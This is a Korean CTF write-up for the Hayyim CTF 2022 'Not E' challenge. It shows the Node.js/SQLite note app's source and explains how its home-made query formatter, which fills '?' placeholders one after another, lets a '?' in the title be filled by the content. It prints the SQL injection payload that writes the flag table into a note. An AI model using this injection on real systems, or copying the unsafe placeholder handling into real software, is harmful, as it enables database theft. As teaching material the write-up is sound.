CTF/Hayyim CTF 2022

[Clear] Hayyim CTF 2022 Not E Writeup

Vardy 2022. 2. 13. 11:32

주어진 페이지에 접근해보면 아래와같이 로그인 후 노트를 기록할수있는 페이지가 나타난다.

 

주어진 소스를 분석해보자.

app.js를 보면 prepareStatement와 유사하게 안전하게 처리되어있는 듯 보인다.

const crypto = require('crypto');
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');

const { Database, md5, checkParam } = require('./utils');

const app = express();
const db = new Database(':memory:');

app.set('view engine', 'ejs')

app.use(bodyParser.urlencoded({
  extended: false
}));

app.use(session({
  secret: crypto.randomBytes(32).toString()
}));

app.all('/login', async (req, res) => {
  if (req.method !== 'POST') {
    return res.render('login');
  }

  const { username, password } = req.body;

  if (!checkParam(username) || !checkParam(password)) {
    return res.redirect('?message=invalid argument');
  }

  const result = await db.get('select username, password from members where username = ?', [
    username
  ]);

  if (!result) {
    await db.run('insert into members values (?, ?)', [ username, md5(password) ]);
  } else if (result.password !== md5(password)) {
    return res.redirect('?message=incorrect password');
  }

  req.session.login = username;
  res.redirect('/');
});

app.use((req, res, next) => {
  if (!req.session.login) {
    res.redirect('/login');
  }

  next();
});

app.use('/logout', (req, res) => {
  delete req.session.login;

  res.redirect('/login');
});

app.get('/', async (req, res) => {
  const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]);

  res.render('list', { notes, auth: true });
});

app.all('/new', async (req, res) => {
  if (req.method !== 'POST') {
    return res.render('new', { auth: true });
  }

  const { title, content } = req.body;
  console.log("[*] title = "+title);
  console.log("[*] typeof title = "+(typeof title));
  console.log("[*] content = "+content);
  console.log("[*] typeof content = "+(typeof content))


  if (!checkParam(title) || !checkParam(content)) {
    return res.redirect('?message=invalid argument');
  }

  const noteId = md5(title + content);

  await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

  return res.redirect('/?message=successfully created');
});

app.get('/view/:noteId', async (req, res) => {
  const { noteId } = req.params;
  console.log("[*] noteId = "+noteId)
  console.log("[*] typeofnoteId = "+(typeof noteId))
  const note = await db.get('select * from posts where id = ?', [ noteId ]);

  if (!note) {
    return res.redirect('/?message=invalid note');
  }

  res.render('view', { note, auth: true });
});

app.listen(1000);

하지만 util.js에서 특이한점을 발견했다.

const sqlite3 = require('sqlite3');
const flag = require('fs').readFileSync('/flag').toString();

class Database {
  constructor(filename) {
    this.db = new sqlite3.Database(filename);

    this.db.serialize(() => {
      this.run('create table members (username text, password text)');
      this.run('create table posts (id text, title text, content text, owner text)');
      this.run('create table flag (flag text)'); ##### .......................... (1)
      this.run('insert into flag values (?)', [ flag ]);
    });
  }

  run(...params) {
    return new Promise((resolve) => {
      this.db.serialize(() => {
        this.db.run(this.#formatQuery(...params), (_, res) => {
          resolve(res);
        });
      });
    });
  }

  get(...params) {
    return new Promise((resolve) => {
      this.db.serialize(() => {
        this.db.get(this.#formatQuery(...params), (_, res) => {
          resolve(res);
        });
      });
    });
  }

  getAll(...params) {
    return new Promise((resolve) => {
      this.db.serialize(() => {
        this.db.all(this.#formatQuery(...params), (_, res) => {
          resolve(res);
        });
      });
    });
  }

  #formatQuery(sql, params = []) { ##### .......................................... (2)
    let a = 0;
    for (const param of params) {
      if (typeof param === 'number') {
      } else if (typeof param === 'string') {
        sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
      } else {
        sql = sql.replace('?', ""); // unreachable
      }
      a++;
    }
    return sql;
  };
}

const checkParam = (param) => {
  if (typeof param !== 'string' || param.length === 0 || param.length > 256) {
    return false;
  }

  return true;
};

module.exports = {
  Database,
  checkParam,
  md5: require('md5')
};

(2)와 같이 구문이 안전한지 여부 검사 후 적용시키는 #formatQuery라는 내용을 직접 구현했다.

사용자 입력 값이 string type 일때 " 와 \ 를 제거하고 ? 에 Replace 시킨다는 내용이다.

 

처음에는 서버에서 number type으로 인식시키면 바로 sqli가 가능하다고 보여져서 이쪽으로 삽질을 했으나 실패했다. Content-type을 바꿔보는 등 여러 시도를 해보았으나 undefined 로 인식하거나 String으로 인식하는것이 전부였다.

이 과정을 통해 얻은점은 JSON.stringfy() 메서드는 양끝에 " 를 추가한다는 것이다.

 

number type에 대한 집착을 버리고 다시 sql injection 방법을 고민해봤다. 소스코드를 다시 한 번 찬찬히 분석해보니 취약 포인트를 알 수 있었다.

 

note가 기록되는 부분은 아래와 같이 호출되며, 

await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);

#formatQuery는 여러 파라미터를 처리할때 ?를 사용자 입력값으로 바꾸는 것을 "반복적"으로 수행한다.

#formatQuery(sql, params = []) {
    let a = 0;
    for (const param of params) {
      if (typeof param === 'number') {
        sql = sql.replace('?', param);
      } else if (typeof param === 'string') {
        sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));)))
      } else {
        console.log("[*] sql unreachable = "+sql)
      }
      a++;
    }
    return sql;
  };

 

따라서, 아래와 같이 title과 content를 입력하면,

 

 입력한 payload는 다음고 같이 처리될 것이다.

?
||'ThisIsTitle',(select flag from flag),'vardy')-- -
     title       content에 삽입될 서브쿼리    owner

 

좀 더 자세하게 보면 우선 첫번 째 ?가 noteId로 입력되고 

insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ?, ?, ?)

title에 ? 를 입력했으므로 "?" 로 변환되어 두번째 ? 자리에 적용된다.

insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", "?", ?, ?)

content에 입력한 값은 이제 세번째 ? 가 아닌 "?" 안에 있는 물음표에 적용되어 Sql injection이 발생한다.

insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ""||'ThisIsTitle',(select flag from flag),'vardy')-- -"", ?, ?)

이는 아래와 같이 처리되어 노트에 플래그가 기록된다.

insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", 'ThisIsTitle', (select flag from flag),'vardy')

로컬 서버 구축 후 테스트 과정

 

 

FLAG = hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}

반응형